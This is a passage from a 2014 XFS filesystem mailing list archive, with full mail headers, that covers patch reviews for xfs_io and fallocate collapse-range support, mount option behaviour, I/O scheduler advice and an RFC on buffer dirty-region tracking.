(rw,noexec,noatime,nodiratime,nobarrier,largeio,discard,logbsize=256k,noikeep) tweaked options. > > now,all options from /etc/fstab are listed. > Is this XFS related? Not really. Only some xfs options are remountable, so unless you originally mounted with, say, "largeio" the option won't be in effect. Mount -o remount won't enable it. So if you really want all those options enabled on your root fs, you'll need to have them in your initrd/initramfs so that the original mount of the root fs at boot time includes them. Also, mount may be looking at /etc/mtab rather than /proc/mounts. /proc/mounts contains the true state of the fileystem w.r.t. mount options. /etc/mtab is managed by mount, and knows nothing about what the filesystem actually did: [root@sandeen ~]# mount -o remount,notanoption /home [root@sandeen ~]# mount | grep home /dev/md2 on /home type xfs (rw,notanoption) [root@sandeen ~]# grep home /proc/mounts /dev/md2 /home xfs rw,seclabel,relatime,attr2,delaylog,noquota 0 0 -Eric From david@fromorbit.com Sun Feb 23 15:01:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EBA8F7F57 for ; Sun, 23 Feb 2014 15:01:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CE1B88F8035 for ; Sun, 23 Feb 2014 13:01:20 -0800 (PST) X-ASG-Debug-ID: 1393189278-04cbb00c2b71dfe0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id d5qEqGdb4oYbiXGN for ; Sun, 23 Feb 2014 13:01:19 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AuMNACRhClN5LJYe/2dsb2JhbABZgwaDQ4pNrhCFU4EHF3SCJQEBBTocIxAIAw4KCSUPBSUDIROIBMZOFxaOTgeDJIEUBJgzilKHVoNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 07:31:17 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHgAk-0003Wh-8n; Mon, 24 Feb 2014 08:01:14 +1100 Date: Mon, 24 Feb 2014 08:01:14 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2] xfs_io: add support for O_TMPFILE opens Message-ID: <20140223210114.GB4317@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfs_io: add support for O_TMPFILE opens References: <20140220220000.GA17541@infradead.org> <20140221003014.GA23416@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140221003014.GA23416@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393189278 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145435 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 20, 2014 at 04:30:15PM -0800, Christoph Hellwig wrote: > On Thu, Feb 20, 2014 at 02:00:00PM -0800, Christoph Hellwig wrote: > Add a new -T argument to the open command that supports using the > O_TMPFILE flag. > > Signed-off-by: Christoph Hellwig Looks good. Reviewed-by: Dave Chinner Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 23 15:06:26 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9D9BA7F57 for ; Sun, 23 Feb 2014 15:06:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7CC968F8033 for ; Sun, 23 Feb 2014 13:06:26 -0800 (PST) X-ASG-Debug-ID: 1393189583-04bdf00fc930e430001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id HXMxrtznji1c4b31 for ; Sun, 23 Feb 2014 13:06:24 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AskOAEpiClN5LJYe/2dsb2JhbABZgwY7gwilcQOSaYVTgQcXdIIlAQEFOhwVDhAIAw4KCSUPBSUDIROIBMZLFxaOTgeDJIEUBJgzilKHVoNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 07:36:20 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHgFd-0003XQ-SP; Mon, 24 Feb 2014 08:06:17 +1100 Date: Mon, 24 Feb 2014 08:06:17 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_io: add support for flink Message-ID: <20140223210617.GC4317@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs_io: add support for flink References: <20140220220000.GA17541@infradead.org> <20140221004933.GA9445@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140221004933.GA9445@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393189583 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145435 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 20, 2014 at 04:49:33PM -0800, Christoph Hellwig wrote: > > Signed-off-by: Christoph Hellwig ..... > +static cmdinfo_t flink_cmd; > + > +static void > +flink_help(void) > +{ > + printf(_( > +"\n" > +"link the open file descriptor into the filesystem\n" > +"\n" > +"\n")); > +} "link the open file descriptor to the supplied filename\n" ? > +void > +flink_init(void) > +{ > + flink_cmd.name = "flink"; > + flink_cmd.cfunc = flink_f; > + flink_cmd.argmin = 1; > + flink_cmd.argmax = 1; > + flink_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; > + flink_cmd.args = _("filename"); > + flink_cmd.oneline = > + _("link the open file descriptor into the filesystem"); > + flink_cmd.help = flink_help; > + > + add_command(&flink_cmd); > +} > diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 > index 7a92ff6..7d0c792 100644 > --- a/man/man8/xfs_io.8 > +++ b/man/man8/xfs_io.8 > @@ -638,6 +638,9 @@ Only available in expert mode and requires privileges. > Undo the effects of a filesystem freeze operation. > Only available in expert mode and requires privileges. > .TP > +.B flink > +Link the currently open file descriptor into the filesystem namespace. > +.TP And that needs to indicate that a filename needs to be provided, too. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 23 15:22:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1C8937F57 for ; Sun, 23 Feb 2014 15:22:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 030F18F8035 for ; Sun, 23 Feb 2014 13:22:40 -0800 (PST) X-ASG-Debug-ID: 1393190555-04cbb00c2871ed60001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id xFgifmRSqtZIiVs8 for ; Sun, 23 Feb 2014 13:22:36 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjoJAPllClN5LJYe/2dsb2JhbABZgwaDQ7hdhVOBBxd0giUBAQUnExwjEAgDDgcDCSUPBSUDIROIBMZCFxaOTgeDJIEUBJgzilKHVoNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 07:52:35 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHgVL-0003ZO-NU; Mon, 24 Feb 2014 08:22:31 +1100 Date: Mon, 24 Feb 2014 08:22:31 +1100 From: Dave Chinner To: Namjae Jeon Cc: viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH v5 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: <20140223212231.GD4317@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 2/10] xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate References: <1392741475-20063-1-git-send-email-linkinjeon@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392741475-20063-1-git-send-email-linkinjeon@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393190555 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145436 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Wed, Feb 19, 2014 at 01:37:55AM +0900, Namjae Jeon wrote: > From: Namjae Jeon > > This patch implements fallocate's FALLOC_FL_COLLAPSE_RANGE for XFS. > > The semantics of this flag are following: > 1) It collapses the range lying between offset and length by removing any data > blocks which are present in this range and than updates all the logical > offsets of extents beyond "offset + len" to nullify the hole created by > removing blocks. In short, it does not leave a hole. > 2) It should be used exclusively. No other fallocate flag in combination. > 3) Offset and length supplied to fallocate should be fs block size aligned > in case of xfs and ext4. > 4) Collaspe range does not work beyond i_size. > > Signed-off-by: Namjae Jeon > Signed-off-by: Ashish Sangwan ..... > + while (!error && !done) { > + tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); > + tp->t_flags |= XFS_TRANS_RESERVE; This probably shouldn't use XFS_TRANS_RESERVE. If we are at ENOSPC, then the operation simply fails. Yes, we've already punched the hole, so we shouldn't get ENOSPC here, but I don't think it's worth dipping into the reserve pool as it has much more important uses... You don' tneed to resent the entire patch for this - I can remove it directly myself.... Otherwise it looks good, so consider it Reviewed-by: Dave Chinner Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 23 15:38:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D94A37F51 for ; Sun, 23 Feb 2014 15:38:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id BBA268F8033 for ; Sun, 23 Feb 2014 13:38:23 -0800 (PST) X-ASG-Debug-ID: 1393191501-04cbb00c2b71f8b0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id WVj6W76tc3CUR6re for ; Sun, 23 Feb 2014 13:38:21 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjkJAHZpClN5LJYe/2dsb2JhbABZDoJ4g0O4XoVTgQcXdIIlAQEFOhwzCAMYCSUPBSUDIQESiATGNhcWjlWDJIEUBJgzilKHVoJuUyg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 08:06:09 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHgiU-0003b8-Km; Mon, 24 Feb 2014 08:36:06 +1100 Date: Mon, 24 Feb 2014 08:36:06 +1100 From: Dave Chinner To: Theodore Ts'o , Namjae Jeon , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140223213606.GE4317@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1392741464-20029-1-git-send-email-linkinjeon@gmail.com> <20140222140625.GD26637@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140222140625.GD26637@thunk.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393191501 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145436 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 22, 2014 at 09:06:25AM -0500, Theodore Ts'o wrote: > On Wed, Feb 19, 2014 at 01:37:43AM +0900, Namjae Jeon wrote: > > + /* > > + * There is no need to overlap collapse range with EOF, in which case > > + * it is effectively a truncate operation > > + */ > > + if ((mode & FALLOC_FL_COLLAPSE_RANGE) && > > + (offset + len >= i_size_read(inode))) > > + return -EINVAL; > > + > > I wonder if we should just translate a collapse range that is > equivalent to a truncate operation to, in fact, be a truncate > operation? Trying to collapse a range that extends beyond EOF, IMO, is likely to only happen if the DVR/NLE application is buggy. Hence I think that telling the application it is doing something that is likely to be wrong is better than silently truncating the file.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Feb 23 15:43:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CA5557F51 for ; Sun, 23 Feb 2014 15:43:30 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id B0474304043 for ; Sun, 23 Feb 2014 13:43:27 -0800 (PST) X-ASG-Debug-ID: 1393191805-04cbb00c2971fbc0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id K7hTAwinaadB7Bs3 for ; Sun, 23 Feb 2014 13:43:26 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjoJAIZqClN5LJYe/2dsb2JhbABZDoJ4g0O4XoVTgQcXdIIlAQEFOhwzCAMVAwklDwUlAyEBEogExjUXFo5VgySBFASYM4pSh1aCblMo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 08:13:24 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WHgpW-0003bw-FO; Mon, 24 Feb 2014 08:43:22 +1100 Date: Mon, 24 Feb 2014 08:43:22 +1100 From: Dave Chinner To: Theodore Ts'o , Namjae Jeon , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: <20140223214322.GF4317@dastard> X-ASG-Orig-Subj: Re: [PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate References: <1392908861-3563-1-git-send-email-linkinjeon@gmail.com> <20140222170930.GE26637@thunk.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140222170930.GE26637@thunk.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393191805 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145436 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 22, 2014 at 12:09:30PM -0500, Theodore Ts'o wrote: > On Fri, Feb 21, 2014 at 12:07:41AM +0900, Namjae Jeon wrote: > > From: Namjae Jeon > > > > This patch implements fallocate's FALLOC_FL_COLLAPSE_RANGE for Ext4. > > > > The semantics of this flag are following: > > 1) It collapses the range lying between offset and length by removing any data > > blocks which are present in this range and than updates all the logical > > offsets of extents beyond "offset + len" to nullify the hole created by > > removing blocks. In short, it does not leave a hole. > > 2) It should be used exclusively. No other fallocate flag in combination. > > 3) Offset and length supplied to fallocate should be fs block size aligned > > in case of xfs and ext4. > > 4) Collaspe range does not work beyond i_size. > > > > Signed-off-by: Namjae Jeon > > Signed-off-by: Ashish Sangwan > > Tested-by: Dongsu Park > > In terms of how to get this upstream, it looks like if we do something > like this, we can let this patch go via the ext4 tree and we don't > need to worry about whether the vfs level changes have gone in our > not. > > diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c > index ad13359..d7a78ed 100644 > --- a/fs/ext4/extents.c > +++ b/fs/ext4/extents.c > @@ -46,6 +46,10 @@ > > #include > > +#ifndef FALLOC_FL_COLLAPSE_RANGE > +#define FALLOC_FL_COLLAPSE_RANGE 0x08 > +#endif > + > /* > * used by extent splitting. > */ You're more than welcome to do that, Ted. Just wait until we get the VFS part into the XFS tree first ;) Cheers, Dave. -- Dave Chinner david@fromorbit.com From stan@hardwarefreak.com Sun Feb 23 16:10:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 760C27F51 for ; Sun, 23 Feb 2014 16:10:51 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E2A22AC003 for ; Sun, 23 Feb 2014 14:10:47 -0800 (PST) X-ASG-Debug-ID: 1393193446-04cb6c6de17299d0001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id keFJ7EIaGaj91H05 for ; Sun, 23 Feb 2014 14:10:46 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 35D766C128; Sun, 23 Feb 2014 16:10:46 -0600 (CST) Message-ID: <530A71E3.9060107@hardwarefreak.com> Date: Sun, 23 Feb 2014 16:10:43 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: weber@zbfmail.de, Xfs Subject: Re: gentoo linux, kernel 3.10.31 mount options bug? References: <9963a76fbd006355c9ffd79f341c9971@zbfmail.de> X-ASG-Orig-Subj: Re: gentoo linux, kernel 3.10.31 mount options bug? In-Reply-To: <9963a76fbd006355c9ffd79f341c9971@zbfmail.de> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1393193446 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 2/23/2014 3:37 AM, Marko Weber|8000 wrote: ... > linux /bzImage-3.10.31 root=/dev/md2 elevator=cfq clocksource=hpet ^^^^^^^^^^^^ cfq tends to defeat much of the parallelism in XFS, decreasing throughput substantially. This is documented in the XFS FAQ and has been discussed here many times in the past. It has been recommended for a few years now that XFS not be used with the cfq elevator. Use deadline with md arrays on plain HBAs and noop on SSDs or any device with [F|B]BWC, i.e. RAID HBA or SAN controller. If you're using cfq to allow shaping of per process IO with control groups, simply using cfq alone may slow down XFS throughput to the point that you don't need to bother with control group optimizations. -- Stan From dave@fromorbit.com Sun Feb 23 16:26:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 95D817F51 for ; Sun, 23 Feb 2014 16:26:23 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7BC688F8035 for ; Sun, 23 Feb 2014 14:26:20 -0800 (PST) X-ASG-Debug-ID: 1393194376-04cb6c6de172a3f0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id wwsQH7PH7z9VI409 for ; Sun, 23 Feb 2014 14:26:16 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnAGAER1ClN5LJYe/2dsb2JhbABZgwbCfhd0giUBLS8aIRhqAysJiASWELAukyMEoxmHQoNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Feb 2014 08:55:57 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WHhUg-0003jb-8W for xfs@oss.sgi.com; Mon, 24 Feb 2014 09:25:54 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WHhUg-0003Kk-6U for xfs@oss.sgi.com; Mon, 24 Feb 2014 09:25:54 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH] [RFC] xfs: byte range buffer dirty region tracking Date: Mon, 24 Feb 2014 09:25:54 +1100 X-ASG-Orig-Subj: [PATCH] [RFC] xfs: byte range buffer dirty region tracking Message-Id: <1393194354-12780-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1393194376 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145439 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The biggest problem with large directory block sizes is the CPU overhead in maintaining the buffer log item direty region bitmap. The bit manipulations and buffer region mapping calls are right at the top of the profiles when running tests on 64k directory buffers: + 16.65% [kernel] [k] memcpy + 11.99% [kernel] [k] xfs_next_bit + 5.87% [kernel] [k] xfs_buf_item_format + 5.85% [kernel] [k] xfs_buf_item_size_segment.isra.4 + 5.72% [kernel] [k] xfs_buf_offset The memcpy is the copying of the dirty regions into the log vec array, but almost twice as much CPU time is spent working out what needs to be copied and where it needs to be copied from. As a result, on a production kernel creating 100,000 entries in a 64k directory runs at about 9,000 files/s while on a 4k directory block size it runs at 19,000 files/s - about half the speed. Switching this to just track the first and last modified bytes in the block and only converting that to a dirty bitmap in the buffer log item at format time, however, gets rid of most of this dirty bitmap overhead without increasing memcpy time at all. the result is that peformance on a 64k directory block size increases to roughly 16,000 files/s with memcpy() overhead only slightly increasing. The code so far is a rudimentary proof of concept. The point for discussion is not whether the technique works (clearly it does) or whether the code is production quality (clearly it isn't), but how to apply apply it appropriately. I think that we need to track multiple regions - 3 or 4 is probably sufficient - because the nature of directory operations are that just about every operation modifies a header in the buffer, a tail section in the buffer and then some number of bytes/regions in the middle of the buffer. Hence if we just track a signle region, it will almost always cover the entire directory buffer - if we only modify a single entry in the buffer, then that's a fairly large cost in terms of log space and CPU overhead for random individual operations. If we decide that we are going to use a single range, then we may as well just use the dirty flag and log the entire buffer every time. We also have to consider non-directory buffer modification patterns. freespace, inode and extent btrees are the other major types of buffers that get logged, but they also have modification patterns that lend themselves well to a small number of ranges for dirty tracking. That is, each btree block is kept compact, so when we insert or remove a record or pointer we shift then higher records/ptrs up or down as a block, and then log the lot of them. And they also often have a header that is dirtied with each insert/delete, so typically there are usually only one or two dirty ranges in a btree block. The only metadata type that really seems to benefit from dirty range logging is the inode buffers. Specifically, for v4 sueprblocks the create transaction only dirties the regions of the inode core, so for 256 byte inodes only dirties every alternate bitmap segement. Dirty range tracking will double the required log bandwidth of inode buffers during create (roughly 25% increase on a 4k directory block size filesystem). There isn't any performance differential noticable on typical systems because the log is far from being bandwidth bound. For v5 filesystems, this isn't an issue because the initialised inode buffers are XFS_BLI_ORDERED buffers and so their contents aren't logged. The same problem happens with unlinks. Again there is an increase in log bandwidth on both v4 and v5 filesystems, but there isn't any performance differential that occurs because, again, the log isn't bandwidth bound. As it is, there is an existing plan of improvement to the unlinked list logging (moving the unlinked list logging into the inode core transaction) and hence that will avoid any extra overhead here as well. Overall, I think this is a no-brainer given the performance improvements we get on large directory block size filesystems. There are some downsides, but looking at the medium-term development plans we are planning to mitigate the impact of most of those downsides. Hence I think this is the way forward. Discuss. :) Signed-off-by: Dave 